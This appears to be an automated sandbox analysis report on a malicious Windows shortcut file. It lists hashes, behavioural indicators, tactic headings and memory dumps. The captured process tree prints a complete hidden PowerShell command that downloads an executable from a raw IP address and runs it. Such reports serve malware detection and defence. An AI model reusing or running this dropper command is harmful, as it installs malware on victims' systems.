d3ab1b047a1ee9985c00c95cd4d205f79bdf47ade1f18ee30ec9d88a58cb133d

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20231025-en
resource tags

arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
submitted
07-12-2023 07:38

Target

AYF00675.lnk
Size

1KB
MD5

92cff55b70b6556b395300de968521fc
SHA1

4bfccd1a6dc2a775a497074caecf25386dab49fb
SHA256

d3ab1b047a1ee9985c00c95cd4d205f79bdf47ade1f18ee30ec9d88a58cb133d
SHA512

7b59f385a7bacba7a87479837218f1399894480f2b4ae60811d0c4ec180cfbfde6170ecb0b369f4dd0cd75af02a216b5659e714d7c53d439394664505a9311fe

Score

5^/10

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2808	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2808	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3052 wrote to memory of 2760	3052	cmd.exe	23
PID 3052 wrote to memory of 2760	3052	cmd.exe	23
PID 3052 wrote to memory of 2760	3052	cmd.exe	23
PID 2760 wrote to memory of 2808	2760	cmd.exe	22
PID 2760 wrote to memory of 2808	2760	cmd.exe	22
PID 2760 wrote to memory of 2808	2760	cmd.exe	22

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\AYF00675.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell.exe -windowstyle hidden -command "& {Invoke-WebRequest -Uri 'http://185.196.9.20/test/sleeps.exe' -OutFile $env:APPDATA\newfile.exe; Start-Process $env:APPDATA\newfile.exe}"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2760

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/2808-41-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/2808-42-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2808-43-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2808-40-0x000000001B3A0000-0x000000001B682000-memory.dmp

Filesize
2.9MB

Download
memory/2808-44-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2808-46-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2808-45-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2808-47-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download